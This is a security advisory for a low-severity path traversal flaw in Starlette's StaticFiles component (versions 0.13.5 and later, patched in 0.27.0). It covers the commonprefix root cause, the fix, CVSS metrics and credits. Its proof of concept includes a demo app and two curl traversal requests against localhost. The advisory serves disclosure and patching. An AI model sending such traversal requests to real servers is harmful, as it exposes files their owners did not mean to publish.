Skip to content

Path traversal vulnerability in StaticFiles

Low
Kludex published GHSA-v5gw-mw7f-84px May 16, 2023

Package

pip starlette (pip)

Affected versions

>=0.13.5

Patched versions

0.27.0

Description

Summary

When using StaticFiles, if there's a file or directory that starts with the same name as the StaticFiles directory, that file or directory is also exposed via StaticFiles which is a path traversal vulnerability.

Details

The root cause of this issue is the usage of os.path.commonprefix():

if os.path.commonprefix([full_path, directory]) != directory:
# Don't allow misbehaving clients to break out of the static files
# directory.

As stated in the Python documentation (https://docs.python.org/3/library/os.path.html#os.path.commonprefix) this function returns the longest prefix common to paths.

When passing a path like /static/../static1.txt, os.path.commonprefix([full_path, directory]) returns ./static which is the common part of ./static1.txt and ./static, It refers to /static/../static1.txt because it is considered in the staticfiles directory. As a result, it becomes possible to view files that should not be open to the public.

The solution is to use os.path.commonpath as the Python documentation explains that os.path.commonprefix works a character at a time, it does not treat the arguments as paths.

PoC

In order to reproduce the issue, you need to create the following structure:

├── static
│   ├── index.html
├── static_disallow
│   ├── index.html
└── static1.txt

And run the Starlette app with:

import uvicorn
from starlette.applications import Starlette
from starlette.routing import Mount
from starlette.staticfiles import StaticFiles


routes = [
    Mount("/static", app=StaticFiles(directory="static", html=True), name="static"),
]

app = Starlette(routes=routes)


if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

And running the commands:

curl --path-as-is 'localhost:8000/static/../static_disallow/'
curl --path-as-is 'localhost:8000/static/../static1.txt'

The static1.txt and the directory static_disallow are exposed.

Impact

Confidentiality is breached: An attacker may obtain files that should not be open to the public.

Credits

Security researcher Masashi Yamane of LAC Co., Ltd reported this vulnerability to JPCERT/CC Vulnerability Coordination Group and they contacted us to coordinate a patch for the security issue.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

Credits